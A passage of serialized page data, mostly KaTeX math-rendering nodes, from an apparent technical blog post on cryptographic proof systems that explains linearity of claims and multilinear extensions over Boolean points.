ps":113838,"children":113840},{"className":113839},[7212],[113841],{"type":30,"value":1400},{"type":24,"tag":930,"props":113843,"children":113845},{"className":113844,"style":7207},[7206],[],{"type":24,"tag":930,"props":113847,"children":113849},{"className":113848},[7115],[113850,113854,113859,113930,113934,113939],{"type":24,"tag":930,"props":113851,"children":113853},{"className":113852,"style":7227},[7120],[],{"type":24,"tag":930,"props":113855,"children":113857},{"className":113856},[24818],[113858],{"type":30,"value":1010},{"type":24,"tag":930,"props":113860,"children":113862},{"className":113861},[7126],[113863,113868],{"type":24,"tag":930,"props":113864,"children":113866},{"className":113865,"style":96346},[7126,24690],[113867],{"type":30,"value":96349},{"type":24,"tag":930,"props":113869,"children":113871},{"className":113870},[7142],[113872],{"type":24,"tag":930,"props":113873,"children":113875},{"className":113874},[7147,24743],[113876,113919],{"type":24,"tag":930,"props":113877,"children":113879},{"className":113878},[7152],[113880,113914],{"type":24,"tag":930,"props":113881,"children":113883},{"className":113882,"style":96641},[7157],[113884],{"type":24,"tag":930,"props":113885,"children":113886},{"style":112904},[113887,113891],{"type":24,"tag":930,"props":113888,"children":113890},{"className":113889,"style":7167},[7166],[],{"type":24,"tag":930,"props":113892,"children":113894},{"className":113893},[7172,7173,7174,7175],[113895],{"type":24,"tag":930,"props":113896,"children":113898},{"className":113897},[7126,7175],[113899,113904,113909],{"type":24,"tag":930,"props":113900,"children":113902},{"className":113901},[7126,24690,7175],[113903],{"type":30,"value":6854},{"type":24,"tag":930,"props":113905,"children":113907},{"className":113906},[7212,7175],[113908],{"type":30,"value":7186},{"type":24,"tag":930,"props":113910,"children":113912},{"className":113911},[7126,7175],[113913],{"type":30,"value":7129},{"type":24,"tag":930,"props":113915,"children":113917},{"className":113916},[24846],[113918],{"type":30,"value":24849},{"type":24,"tag":930,"props":113920,"children":113922},{"className":113921},[7152],[113923],{"type":24,"tag":930,"props":113924,"children":113926},{"className":113925,"style":112945},[7157],[113927],{"type":24,"tag":930,"props":113928,"children":113929},{},[],{"type":24,"tag":930,"props":113931,"children":113933},{"className":113932,"style":7207},[7206],[],{"type":24,"tag":930,"props":113935,"children":113937},{"className":113936},[7212],[113938],{"type":30,"value":7186},{"type":24,"tag":930,"props":113940,"children":113942},{"className":113941,"style":7207},[7206],[],{"type":24,"tag":930,"props":113944,"children":113946},{"className":113945},[7115],[113947,113951,113956,113961,113966,113970,113975],{"type":24,"tag":930,"props":113948,"children":113950},{"className":113949,"style":7227},[7120],[],{"type":24,"tag":930,"props":113952,"children":113954},{"className":113953},[7126],[113955],{"type":30,"value":6244},{"type":24,"tag":930,"props":113957,"children":113959},{"className":113958},[7126,24690],[113960],{"type":30,"value":37},{"type":24,"tag":930,"props":113962,"children":113964},{"className":113963},[24840],[113965],{"type":30,"value":6249},{"type":24,"tag":930,"props":113967,"children":113969},{"className":113968,"style":7207},[7206],[],{"type":24,"tag":930,"props":113971,"children":113973},{"className":113972},[7212],[113974],{"type":30,"value":113737},{"type":24,"tag":930,"props":113976,"children":113978},{"className":113977,"style":7207},[7206],[],{"type":24,"tag":930,"props":113980,"children":113982},{"className":113981},[7115],[113983,113987,114044,114048,114053],{"type":24,"tag":930,"props":113984,"children":113986},{"className":113985,"style":112445},[7120],[],{"type":24,"tag":930,"props":113988,"children":113990},{"className":113989},[7126],[113991,113996],{"type":24,"tag":930,"props":113992,"children":113994},{"className":113993,"style":96112},[7126,24690],[113995],{"type":30,"value":96931},{"type":24,"tag":930,"props":113997,"children":113999},{"className":113998},[7142],[114000],{"type":24,"tag":930,"props":114001,"children":114003},{"className":114002},[7147,24743],[114004,114033],{"type":24,"tag":930,"props":114005,"children":114007},{"className":114006},[7152],[114008,114028],{"type":24,"tag":930,"props":114009,"children":114011},{"className":114010,"style":96641},[7157],[114012],{"type":24,"tag":930,"props":114013,"children":114014},{"style":112474},[114015,114019],{"type":24,"tag":930,"props":114016,"children":114018},{"className":114017,"style":7167},[7166],[],{"type":24,"tag":930,"props":114020,"children":114022},{"className":114021},[7172,7173,7174,7175],[114023],{"type":24,"tag":930,"props":114024,"children":114026},{"className":114025},[7126,24690,7175],[114027],{"type":30,"value":6854},{"type":24,"tag":930,"props":114029,"children":114031},{"className":114030},[24846],[114032],{"type":30,"value":24849},{"type":24,"tag":930,"props":114034,"children":114036},{"className":114035},[7152],[114037],{"type":24,"tag":930,"props":114038,"children":114040},{"className":114039,"style":96195},[7157],[114041],{"type":24,"tag":930,"props":114042,"children":114043},{},[],{"type":24,"tag":930,"props":114045,"children":114047},{"className":114046,"style":7304},[7206],[],{"type":24,"tag":930,"props":114049,"children":114051},{"className":114050},[7309],[114052],{"type":30,"value":1161},{"type":24,"tag":930,"props":114054,"children":114056},{"className":114055,"style":7304},[7206],[],{"type":24,"tag":930,"props":114058,"children":114060},{"className":114059},[7115],[114061,114065,114070,114075,114080,114084,114089],{"type":24,"tag":930,"props":114062,"children":114064},{"className":114063,"style":7227},[7120],[],{"type":24,"tag":930,"props":114066,"children":114068},{"className":114067},[7126,24690],[114069],{"type":30,"value":37},{"type":24,"tag":930,"props":114071,"children":114073},{"className":114072},[24818],[114074],{"type":30,"value":1010},{"type":24,"tag":930,"props":114076,"children":114078},{"className":114077},[7126],[114079],{"type":30,"value":7129},{"type":24,"tag":930,"props":114081,"children":114083},{"className":114082,"style":7207},[7206],[],{"type":24,"tag":930,"props":114085,"children":114087},{"className":114086},[7212],[114088],{"type":30,"value":7186},{"type":24,"tag":930,"props":114090,"children":114092},{"className":114091,"style":7207},[7206],[],{"type":24,"tag":930,"props":114094,"children":114096},{"className":114095},[7115],[114097,114101,114106,114163,114168,114172,114177],{"type":24,"tag":930,"props":114098,"children":114100},{"className":114099,"style":7227},[7120],[],{"type":24,"tag":930,"props":114102,"children":114104},{"className":114103},[7126],[114105],{"type":30,"value":6244},{"type":24,"tag":930,"props":114107,"children":114109},{"className":114108},[7126],[114110,114115],{"type":24,"tag":930,"props":114111,"children":114113},{"className":114112,"style":96112},[7126,24690],[114114],{"type":30,"value":96931},{"type":24,"tag":930,"props":114116,"children":114118},{"className":114117},[7142],[114119],{"type":24,"tag":930,"props":114120,"children":114122},{"className":114121},[7147,24743],[114123,114152],{"type":24,"tag":930,"props":114124,"children":114126},{"className":114125},[7152],[114127,114147],{"type":24,"tag":930,"props":114128,"children":114130},{"className":114129,"style":96641},[7157],[114131],{"type":24,"tag":930,"props":114132,"children":114133},{"style":112474},[114134,114138],{"type":24,"tag":930,"props":114135,"children":114137},{"className":114136,"style":7167},[7166],[],{"type":24,"tag":930,"props":114139,"children":114141},{"className":114140},[7172,7173,7174,7175],[114142],{"type":24,"tag":930,"props":114143,"children":114145},{"className":114144},[7126,24690,7175],[114146],{"type":30,"value":6854},{"type":24,"tag":930,"props":114148,"children":114150},{"className":114149},[24846],[114151],{"type":30,"value":24849},{"type":24,"tag":930,"props":114153,"children":114155},{"className":114154},[7152],[114156],{"type":24,"tag":930,"props":114157,"children":114159},{"className":114158,"style":96195},[7157],[114160],{"type":24,"tag":930,"props":114161,"children":114162},{},[],{"type":24,"tag":930,"props":114164,"children":114166},{"className":114165},[24840],[114167],{"type":30,"value":6249},{"type":24,"tag":930,"props":114169,"children":114171},{"className":114170,"style":7207},[7206],[],{"type":24,"tag":930,"props":114173,"children":114175},{"className":114174},[7212],[114176],{"type":30,"value":1400},{"type":24,"tag":930,"props":114178,"children":114180},{"className":114179,"style":7207},[7206],[],{"type":24,"tag":930,"props":114182,"children":114184},{"className":114183},[7115],[114185,114189,114260,114264,114269],{"type":24,"tag":930,"props":114186,"children":114188},{"className":114187,"style":112875},[7120],[],{"type":24,"tag":930,"props":114190,"children":114192},{"className":114191},[7126],[114193,114198],{"type":24,"tag":930,"props":114194,"children":114196},{"className":114195,"style":96346},[7126,24690],[114197],{"type":30,"value":96349},{"type":24,"tag":930,"props":114199,"children":114201},{"className":114200},[7142],[114202],{"type":24,"tag":930,"props":114203,"children":114205},{"className":114204},[7147,24743],[114206,114249],{"type":24,"tag":930,"props":114207,"children":114209},{"className":114208},[7152],[114210,114244],{"type":24,"tag":930,"props":114211,"children":114213},{"className":114212,"style":96641},[7157],[114214],{"type":24,"tag":930,"props":114215,"children":114216},{"style":112904},[114217,114221],{"type":24,"tag":930,"props":114218,"children":114220},{"className":114219,"style":7167},[7166],[],{"type":24,"tag":930,"props":114222,"children":114224},{"className":114223},[7172,7173,7174,7175],[114225],{"type":24,"tag":930,"props":114226,"children":114228},{"className":114227},[7126,7175],[114229,114234,114239],{"type":24,"tag":930,"props":114230,"children":114232},{"className":114231},[7126,24690,7175],[114233],{"type":30,"value":6854},{"type":24,"tag":930,"props":114235,"children":114237},{"className":114236},[7212,7175],[114238],{"type":30,"value":7186},{"type":24,"tag":930,"props":114240,"children":114242},{"className":114241},[7126,7175],[114243],{"type":30,"value":7129},{"type":24,"tag":930,"props":114245,"children":114247},{"className":114246},[24846],[114248],{"type":30,"value":24849},{"type":24,"tag":930,"props":114250,"children":114252},{"className":114251},[7152],[114253],{"type":24,"tag":930,"props":114254,"children":114256},{"className":114255,"style":112945},[7157],[114257],{"type":24,"tag":930,"props":114258,"children":114259},{},[],{"type":24,"tag":930,"props":114261,"children":114263},{"className":114262,"style":7207},[7206],[],{"type":24,"tag":930,"props":114265,"children":114267},{"className":114266},[7212],[114268],{"type":30,"value":113737},{"type":24,"tag":930,"props":114270,"children":114272},{"className":114271,"style":7207},[7206],[],{"type":24,"tag":930,"props":114274,"children":114276},{"className":114275},[7115],[114277,114281],{"type":24,"tag":930,"props":114278,"children":114280},{"className":114279,"style":112445},[7120],[],{"type":24,"tag":930,"props":114282,"children":114284},{"className":114283},[7126],[114285,114290],{"type":24,"tag":930,"props":114286,"children":114288},{"className":114287,"style":96112},[7126,24690],[114289],{"type":30,"value":96931},{"type":24,"tag":930,"props":114291,"children":114293},{"className":114292},[7142],[114294],{"type":24,"tag":930,"props":114295,"children":114297},{"className":114296},[7147,24743],[114298,114327],{"type":24,"tag":930,"props":114299,"children":114301},{"className":114300},[7152],[114302,114322],{"type":24,"tag":930,"props":114303,"children":114305},{"className":114304,"style":96641},[7157],[114306],{"type":24,"tag":930,"props":114307,"children":114308},{"style":112474},[114309,114313],{"type":24,"tag":930,"props":114310,"children":114312},{"className":114311,"style":7167},[7166],[],{"type":24,"tag":930,"props":114314,"children":114316},{"className":114315},[7172,7173,7174,7175],[114317],{"type":24,"tag":930,"props":114318,"children":114320},{"className":114319},[7126,24690,7175],[114321],{"type":30,"value":6854},{"type":24,"tag":930,"props":114323,"children":114325},{"className":114324},[24846],[114326],{"type":30,"value":24849},{"type":24,"tag":930,"props":114328,"children":114330},{"className":114329},[7152],[114331],{"type":24,"tag":930,"props":114332,"children":114334},{"className":114333,"style":96195},[7157],[114335],{"type":24,"tag":930,"props":114336,"children":114337},{},[],{"type":24,"tag":33,"props":114339,"children":114340},{},[114341,114342,114438,114440,114465,114467,114492],{"type":30,"value":49227},{"type":24,"tag":275,"props":114343,"children":114344},{},[114345,114347],{"type":30,"value":114346},"linear in ",{"type":24,"tag":156,"props":114348,"children":114350},{"className":114349},[7098,7099],[114351],{"type":24,"tag":930,"props":114352,"children":114354},{"className":114353},[7104],[114355],{"type":24,"tag":930,"props":114356,"children":114358},{"className":114357,"ariaHidden":7110},[7109],[114359],{"type":24,"tag":930,"props":114360,"children":114362},{"className":114361},[7115],[114363,114367],{"type":24,"tag":930,"props":114364,"children":114366},{"className":114365,"style":112875},[7120],[],{"type":24,"tag":930,"props":114368,"children":114370},{"className":114369},[7126],[114371,114376],{"type":24,"tag":930,"props":114372,"children":114374},{"className":114373,"style":96346},[7126,24690],[114375],{"type":30,"value":96349},{"type":24,"tag":930,"props":114377,"children":114379},{"className":114378},[7142],[114380],{"type":24,"tag":930,"props":114381,"children":114383},{"className":114382},[7147,24743],[114384,114427],{"type":24,"tag":930,"props":114385,"children":114387},{"className":114386},[7152],[114388,114422],{"type":24,"tag":930,"props":114389,"children":114391},{"className":114390,"style":96641},[7157],[114392],{"type":24,"tag":930,"props":114393,"children":114394},{"style":112904},[114395,114399],{"type":24,"tag":930,"props":114396,"children":114398},{"className":114397,"style":7167},[7166],[],{"type":24,"tag":930,"props":114400,"children":114402},{"className":114401},[7172,7173,7174,7175],[114403],{"type":24,"tag":930,"props":114404,"children":114406},{"className":114405},[7126,7175],[114407,114412,114417],{"type":24,"tag":930,"props":114408,"children":114410},{"className":114409},[7126,24690,7175],[114411],{"type":30,"value":6854},{"type":24,"tag":930,"props":114413,"children":114415},{"className":114414},[7212,7175],[114416],{"type":30,"value":7186},{"type":24,"tag":930,"props":114418,"children":114420},{"className":114419},[7126,7175],[114421],{"type":30,"value":7129},{"type":24,"tag":930,"props":114423,"children":114425},{"className":114424},[24846],[114426],{"type":30,"value":24849},{"type":24,"tag":930,"props":114428,"children":114430},{"className":114429},[7152],[114431],{"type":24,"tag":930,"props":114432,"children":114434},{"className":114433,"style":112945},[7157],[114435],{"type":24,"tag":930,"props":114436,"children":114437},{},[],{"type":30,"value":114439},"! By induction, the final claim is linear in the original ",{"type":24,"tag":156,"props":114441,"children":114443},{"className":114442},[7098,7099],[114444],{"type":24,"tag":930,"props":114445,"children":114447},{"className":114446},[7104],[114448],{"type":24,"tag":930,"props":114449,"children":114451},{"className":114450,"ariaHidden":7110},[7109],[114452],{"type":24,"tag":930,"props":114453,"children":114455},{"className":114454},[7115],[114456,114460],{"type":24,"tag":930,"props":114457,"children":114459},{"className":114458,"style":24685},[7120],[],{"type":24,"tag":930,"props":114461,"children":114463},{"className":114462,"style":96346},[7126,24690],[114464],{"type":30,"value":96349},{"type":30,"value":114466},". If ",{"type":24,"tag":156,"props":114468,"children":114470},{"className":114469},[7098,7099],[114471],{"type":24,"tag":930,"props":114472,"children":114474},{"className":114473},[7104],[114475],{"type":24,"tag":930,"props":114476,"children":114478},{"className":114477,"ariaHidden":7110},[7109],[114479],{"type":24,"tag":930,"props":114480,"children":114482},{"className":114481},[7115],[114483,114487],{"type":24,"tag":930,"props":114484,"children":114486},{"className":114485,"style":24685},[7120],[],{"type":24,"tag":930,"props":114488,"children":114490},{"className":114489,"style":96346},[7126,24690],[114491],{"type":30,"value":96349},{"type":30,"value":114493}," isn't in the transcript, we can solve for it.",{"type":24,"tag":151,"props":114495,"children":114497},{"id":114496},"multilinear-extensions-mles",[114498],{"type":30,"value":114499},"Multilinear Extensions (MLEs)",{"type":24,"tag":33,"props":114501,"children":114502},{},[114503,114505,114590],{"type":30,"value":114504},"An MLE is just the polynomial view of a table over ",{"type":24,"tag":156,"props":114506,"children":114508},{"className":114507},[7098,7099],[114509],{"type":24,"tag":930,"props":114510,"children":114512},{"className":114511},[7104],[114513],{"type":24,"tag":930,"props":114514,"children":114516},{"className":114515,"ariaHidden":7110},[7109],[114517],{"type":24,"tag":930,"props":114518,"children":114520},{"className":114519},[7115],[114521,114525,114530,114535,114540,114544,114549],{"type":24,"tag":930,"props":114522,"children":114524},{"className":114523,"style":7227},[7120],[],{"type":24,"tag":930,"props":114526,"children":114528},{"className":114527},[24818],[114529],{"type":30,"value":79697},{"type":24,"tag":930,"props":114531,"children":114533},{"className":114532},[7126],[114534],{"type":30,"value":1818},{"type":24,"tag":930,"props":114536,"children":114538},{"className":114537},[7238],[114539],{"type":30,"value":7241},{"type":24,"tag":930,"props":114541,"children":114543},{"className":114542,"style":7245},[7206],[],{"type":24,"tag":930,"props":114545,"children":114547},{"className":114546},[7126],[114548],{"type":30,"value":7129},{"type":24,"tag":930,"props":114550,"children":114552},{"className":114551},[24840],[114553,114558],{"type":24,"tag":930,"props":114554,"children":114556},{"className":114555},[24840],[114557],{"type":30,"value":37229},{"type":24,"tag":930,"props":114559,"children":114561},{"className":114560},[7142],[114562],{"type":24,"tag":930,"props":114563,"children":114565},{"className":114564},[7147],[114566],{"type":24,"tag":930,"props":114567,"children":114569},{"className":114568},[7152],[114570],{"type":24,"tag":930,"props":114571,"children":114573},{"className":114572,"style":111192},[7157],[114574],{"type":24,"tag":930,"props":114575,"children":114576},{"style":7161},[114577,114581],{"type":24,"tag":930,"props":114578,"children":114580},{"className":114579,"style":7167},[7166],[],{"type":24,"tag":930,"props":114582,"children":114584},{"className":114583},[7172,7173,7174,7175],[114585],{"type":24,"tag":930,"props":114586,"children":114588},{"className":114587},[7126,24690,7175],[114589],{"type":30,"value":59493},{"type":30,"value":114591},": it matches the table on Boolean points and extends it to field points.",{"type":24,"tag":33,"props":114593,"children":114594},{},[114595],{"type":30,"value":114596},"For this post, the only property you need is:",{"type":24,"tag":33,"props":114598,"children":114599},{},[114600],{"type":24,"tag":156,"props":114601,"children":114603},{"className":114602},[7098,7099],[114604],{"type":24,"tag":930,"props":114605,"children":114607},{"className":114606},[7104],[114608],{"type":24,"tag":930,"props":114609,"children":114611},{"className":114610,"ariaHidden":7110},[7109],[114612,114774,115046],{"type":24,"tag":930,"props":114613,"children":114615},{"className":114614},[7115],[114616,114621,114690,114695,114756,114761,114765,114770],{"type":24,"tag":930,"props":114617,"children":114620},{"className":114618,"style":114619},[7120],"height:1.1813em;vertical-align:-0.25em;",[],{"type":24,"tag":930,"props":114622,"children":114625},{"className":114623},[7126,114624],"accent",[114626],{"type":24,"tag":930,"props":114627,"children":114629},{"className":114628},[7147,24743],[114630,114678],{"type":24,"tag":930,"props":114631,"children":114633},{"className":114632},[7152],[114634,114673],{"type":24,"tag":930,"props":114635,"children":114638},{"className":114636,"style":114637},[7157],"height:0.9313em;",[114639,114653],{"type":24,"tag":930,"props":114640,"children":114642},{"style":114641},"top:-3em;",[114643,114648],{"type":24,"tag":930,"props":114644,"children":114647},{"className":114645,"style":114646},[7166],"height:3em;",[],{"type":24,"tag":930,"props":114649,"children":114651},{"className":114650,"style":98466},[7126,24690],[114652],{"type":30,"value":36173},{"type":24,"tag":930,"props":114654,"children":114656},{"style":114655},"top:-3.6134em;",[114657,114661],{"type":24,"tag":930,"props":114658,"children":114660},{"className":114659,"style":114646},[7166],[],{"type":24,"tag":930,"props":114662,"children":114666},{"className":114663,"style":114665},[114664],"accent-body","left:-0.0833em;",[114667],{"type":24,"tag":930,"props":114668,"children":114670},{"className":114669},[7126],[114671],{"type":30,"value":114672},"~",{"type":24,"tag":930,"props":114674,"children":114676},{"className":114675},[24846],[114677],{"type":30,"value":24849},{"type":24,"tag":930,"props":114679,"children":114681},{"className":114680},[7152],[114682],{"type":24,"tag":930,"props":114683,"children":114686},{"className":114684,"style":114685},[7157],"height:0.1944em;",[114687],{"type":24,"tag":930,"props":114688,"children":114689},{},[],{"type":24,"tag":930,"props":114691,"children":114693},{"className":114692},[24818],[114694],{"type":30,"value":1010},{"type":24,"tag":930,"props":114696,"children":114698},{"className":114697},[7126,114624],[114699],{"type":24,"tag":930,"props":114700,"children":114702},{"className":114701},[7147],[114703],{"type":24,"tag":930,"props":114704,"children":114706},{"className":114705},[7152],[114707],{"type":24,"tag":930,"props":114708,"children":114711},{"className":114709,"style":114710},[7157],"height:0.714em;",[114712,114724],{"type":24,"tag":930,"props":114713,"children":114714},{"style":114641},[114715,114719],{"type":24,"tag":930,"props":114716,"children":114718},{"className":114717,"style":114646},[7166],[],{"type":24,"tag":930,"props":114720,"children":114722},{"className":114721,"style":96112},[7126,24690],[114723],{"type":30,"value":96931},{"type":24,"tag":930,"props":114725,"children":114726},{"style":114641},[114727,114731],{"type":24,"tag":930,"props":114728,"children":114730},{"className":114729,"style":114646},[7166],[],{"type":24,"tag":930,"props":114732,"children":114735},{"className":114733,"style":114734},[114664],"left:-0.1799em;",[114736],{"type":24,"tag":930,"props":114737,"children":114741},{"className":114738,"style":114740},[114739],"overlay","height:0.714em;width:0.471em;",[114742],{"type":24,"tag":37362,"props":114743,"children":114750},{"xmlns":114744,"width":114745,"height":114746,"style":114747,"viewBox":114748,"preserveAspectRatio":114749},"http://www.w3.org/2000/svg","0.471em","0.714em","width:0.471em","0 0 471 714","xMinYMin",[114751],{"type":24,"tag":114752,"props":114753,"children":114755},"path",{"d":114754},"M377 20c0-5.333 1.833-10 5.5-14S391 0 397 0c4.667 0 8.667 1.667 12 5\n3.333 2.667 6.667 9 10 19 6.667 24.667 20.333 43.667 41 57 7.333 4.667 11\n10.667 11 18 0 6-1 10-3 12s-6.667 5-14 9c-28.667 14.667-53.667 35.667-75 63\n-1.333 1.333-3.167 3.5-5.5 6.5s-4 4.833-5 5.5c-1 .667-2.5 1.333-4.5 2s-4.333 1\n-7 1c-4.667 0-9.167-1.833-13.5-5.5S337 184 337 178c0-12.667 15.667-32.333 47-59\nH213l-171-1c-8.667-6-13-12.333-13-19 0-4.667 4.333-11.333 13-20h359\nc-16-25.333-24-45-24-59z",[],{"type":24,"tag":930,"props":114757,"children":114759},{"className":114758},[24840],[114760],{"type":30,"value":6249},{"type":24,"tag":930,"props":114762,"children":114764},{"className":114763,"style":7304},[7206],[],{"type":24,"tag":930,"props":114766,"children":114768},{"className":114767},[7309],[114769],{"type":30,"value":1161},{"type":24,"tag":930,"props":114771,"children":114773},{"className":114772,"style":7304},[7206],[],{"type":24,"tag":930,"props":114775,"children":114777},{"className":114776},[7115],[114778,114783,114964,114968,114973,114978,115028,115033,115037,115042],{"type":24,"tag":930,"props":114779,"children":114782},{"className":114780,"style":114781},[7120],"height:1.4918em;vertical-align:-0.5144em;",[],{"type":24,"tag":930,"props":114784,"children":114786},{"className":114785},[24725],[114787,114792],{"type":24,"tag":930,"props":114788,"children":114790},{"className":114789,"style":24732},[24725,24730,24731],[114791],{"type":30,"value":111270},{"type":24,"tag":930,"props":114793,"children":114795},{"className":114794},[7142],[114796],{"type":24,"tag":930,"props":114797,"children":114799},{"className":114798},[7147,24743],[114800,114952],{"type":24,"tag":930,"props":114801,"children":114803},{"className":114802},[7152],[114804,114947],{"type":24,"tag":930,"props":114805,"children":114808},{"className":114806,"style":114807},[7157],"height:0.3448em;",[114809],{"type":24,"tag":930,"props":114810,"children":114812},{"style":114811},"top:-2.3606em;margin-left:0em;margin-right:0.05em;",[114813,114817],{"type":24,"tag":930,"props":114814,"children":114816},{"className":114815,"style":7167},[7166],[],{"type":24,"tag":930,"props":114818,"children":114820},{"className":114819},[7172,7173,7174,7175],[114821],{"type":24,"tag":930,"props":114822,"children":114824},{"className":114823},[7126,7175],[114825,114879,114884,114889,114894,114899,114904],{"type":24,"tag":930,"props":114826,"children":114828},{"className":114827},[7126,114624,7175],[114829],{"type":24,"tag":930,"props":114830,"children":114832},{"className":114831},[7147],[114833],{"type":24,"tag":930,"props":114834,"children":114836},{"className":114835},[7152],[114837],{"type":24,"tag":930,"props":114838,"children":114841},{"className":114839,"style":114840},[7157],"height:0.9774em;",[114842,114856],{"type":24,"tag":930,"props":114843,"children":114845},{"style":114844},"top:-2.714em;",[114846,114851],{"type":24,"tag":930,"props":114847,"children":114850},{"className":114848,"style":114849},[7166],"height:2.714em;",[],{"type":24,"tag":930,"props":114852,"children":114854},{"className":114853},[7126,24690,7175],[114855],{"type":30,"value":6343},{"type":24,"tag":930,"props":114857,"children":114859},{"style":114858},"top:-2.9774em;",[114860,114864],{"type":24,"tag":930,"props":114861,"children":114863},{"className":114862,"style":114849},[7166],[],{"type":24,"tag":930,"props":114865,"children":114868},{"className":114866,"style":114867},[114664],"left:-0.2355em;",[114869],{"type":24,"tag":930,"props":114870,"children":114872},{"className":114871,"style":114740},[114739,7175],[114873],{"type":24,"tag":37362,"props":114874,"children":114875},{"xmlns":114744,"width":114745,"height":114746,"style":114747,"viewBox":114748,"preserveAspectRatio":114749},[114876],{"type":24,"tag":114752,"props":114877,"children":114878},{"d":114754},[],{"type":24,"tag":930,"props":114880,"children":114882},{"className":114881},[7309,7175],[114883],{"type":30,"value":24796},{"type":24,"tag":930,"props":114885,"children":114887},{"className":114886},[24818,7175],[114888],{"type":30,"value":79697},{"type":24,"tag":930,"props":114890,"children":114892},{"className":114891},[7126,7175],[114893],{"type":30,"value":1818},{"type":24,"tag":930,"props":114895,"children":114897},{"className":114896},[7238,7175],[114898],{"type":30,"value":7241},{"type":24,"tag":930,"props":114900,"children":114902},{"className":114901},[7126,7175],[114903],{"type":30,"value":7129},{"type":24,"tag":930,"props":114905,"children":114907},{"className":114906},[24840,7175],[114908,114913],{"type":24,"tag":930,"props":114909,"children":114911},{"className":114910},[24840,7175],[114912],{"type":30,"value":37229},{"type":24,"tag":930,"props":114914,"children":114916},{"className":114915},[7142],[114917],{"type":24,"tag":930,"props":114918,"children":114920},{"className":114919},[7147],[114921],{"type":24,"tag":930,"props":114922,"children":114924},{"className":114923},[7152],[114925],{"type":24,"tag":930,"props":114926,"children":114929},{"className":114927,"style":114928},[7157],"height:0.5935em;",[114930],{"type":24,"tag":930,"props":114931,"children":114933},{"style":114932},"top:-2.786em;margin-right:0.0714em;",[114934,114938],{"type":24,"tag":930,"props":114935,"children":114937},{"className":114936,"style":111335},[7166],[],{"type":24,"tag":930,"props":114939,"children":114941},{"className":114940},[7172,111340,111341,7175],[114942],{"type":24,"tag":930,"props":114943,"children":114945},{"className":114944},[7126,24690,7175],[114946],{"type":30,"value":59493},{"type":24,"tag":930,"props":114948,"children":114950},{"className":114949},[24846],[114951],{"type":30,"value":24849},{"type":24,"tag":930,"props":114953,"children":114955},{"className":114954},[7152],[114956],{"type":24,"tag":930,"props":114957,"children":114960},{"className":114958,"style":114959},[7157],"height:0.5144em;",[114961],{"type":24,"tag":930,"props":114962,"children":114963},{},[],{"type":24,"tag":930,"props":114965,"children":114967},{"className":114966,"style":7245},[7206],[],{"type":24,"tag":930,"props":114969,"children":114971},{"className":114970,"style":98466},[7126,24690],[114972],{"type":30,"value":36173},{"type":24,"tag":930,"props":114974,"children":114976},{"className":114975},[24818],[114977],{"type":30,"value":1010},{"type":24,"tag":930,"props":114979,"children":114981},{"className":114980},[7126,114624],[114982],{"type":24,"tag":930,"props":114983,"children":114985},{"className":114984},[7147],[114986],{"type":24,"tag":930,"props":114987,"children":114989},{"className":114988},[7152],[114990],{"type":24,"tag":930,"props":114991,"children":114993},{"className":114992,"style":114840},[7157],[114994,115006],{"type":24,"tag":930,"props":114995,"children":114996},{"style":114641},[114997,115001],{"type":24,"tag":930,"props":114998,"children":115000},{"className":114999,"style":114646},[7166],[],{"type":24,"tag":930,"props":115002,"children":115004},{"className":115003},[7126,24690],[115005],{"type":30,"value":6343},{"type":24,"tag":930,"props":115007,"children":115009},{"style":115008},"top:-3.2634em;",[115010,115014],{"type":24,"tag":930,"props":115011,"children":115013},{"className":115012,"style":114646},[7166],[],{"type":24,"tag":930,"props":115015,"children":115017},{"className":115016,"style":114867},[114664],[115018],{"type":24,"tag":930,"props":115019,"children":115021},{"className":115020,"style":114740},[114739],[115022],{"type":24,"tag":37362,"props":115023,"children":115024},{"xmlns":114744,"width":114745,"height":114746,"style":114747,"viewBox":114748,"preserveAspectRatio":114749},[115025],{"type":24,"tag":114752,"props":115026,"children":115027},{"d":114754},[],{"type":24,"tag":930,"props":115029,"children":115031},{"className":115030},[24840],[115032],{"type":30,"value":6249},{"type":24,"tag":930,"props":115034,"children":115036},{"className":115035,"style":7207},[7206],[],{"type":24,"tag":930,"props":115038,"children":115040},{"className":115039},[7212],[115041],{"type":30,"value":113737},{"type":24,"tag":930,"props":115043,"children":115045},{"className":115044,"style":7207},[7206],[],{"type":24,"tag":930,"props":115047,"children":115049},{"className":115048},[7115],[115050,115055,115065,115070,115119,115124,115128,115177],{"type":24,"tag":930,"props":115051,"children":115054},{"className":115052,"style":115053},[7120],"height:1.2274em;vertical-align:-0.25em;",[],{"type":24,"tag":930,"props":115056,"children":115058},{"className":115057},[7126,30],[115059],{"type":24,"tag":930,"props":115060,"children":115062},{"className":115061},[7126],[115063],{"type":30,"value":115064},"eq",{"type":24,"tag":930,"props":115066,"children":115068},{"className":115067},[24818],[115069],{"type":30,"value":1010},{"type":24,"tag":930,"props":115071,"children":115073},{"className":115072},[7126,114624],[115074],{"type":24,"tag":930,"props":115075,"children":115077},{"className":115076},[7147],[115078],{"type":24,"tag":930,"props":115079,"children":115081},{"className":115080},[7152],[115082],{"type":24,"tag":930,"props":115083,"children":115085},{"className":115084,"style":114840},[7157],[115086,115098],{"type":24,"tag":930,"props":115087,"children":115088},{"style":114641},[115089,115093],{"type":24,"tag":930,"props":115090,"children":115092},{"className":115091,"style":114646},[7166],[],{"type":24,"tag":930,"props":115094,"children":115096},{"className":115095},[7126,24690],[115097],{"type":30,"value":6343},{"type":24,"tag":930,"props":115099,"children":115100},{"style":115008},[115101,115105],{"type":24,"tag":930,"props":115102,"children":115104},{"className":115103,"style":114646},[7166],[],{"type":24,"tag":930,"props":115106,"children":115108},{"className":115107,"style":114867},[114664],[115109],{"type":24,"tag":930,"props":115110,"children":115112},{"className":115111,"style":114740},[114739],[115113],{"type":24,"tag":37362,"props":115114,"children":115115},{"xmlns":114744,"width":114745,"height":114746,"style":114747,"viewBox":114748,"preserveAspectRatio":114749},[115116],{"type":24,"tag":114752,"props":115117,"children":115118},{"d":114754},[],{"type":24,"tag":930,"props":115120,"children":115122},{"className":115121},[7238],[115123],{"type":30,"value":7241},{"type":24,"tag":930,"props":115125,"children":115127},{"className":115126,"style":7245},[7206],[],{"type":24,"tag":930,"props":115129,"children":115131},{"className":115130},[7126,114624],[115132],{"type":24,"tag":930,"props":115133,"children":115135},{"className":115134},[7147],[115136],{"type":24,"tag":930,"props":115137,"children":115139},{"className":115138},[7152],[115140],{"type":24,"tag":930,"props":115141,"children":115143},{"className":115142,"style":114710},[7157],[115144,115156],{"type":24,"tag":930,"props":115145,"children":115146},{"style":114641},[115147,115151],{"type":24,"tag":930,"props":115148,"children":115150},{"className":115149,"style":114646},[7166],[],{"type":24,"tag":930,"props":115152,"children":115154},{"className"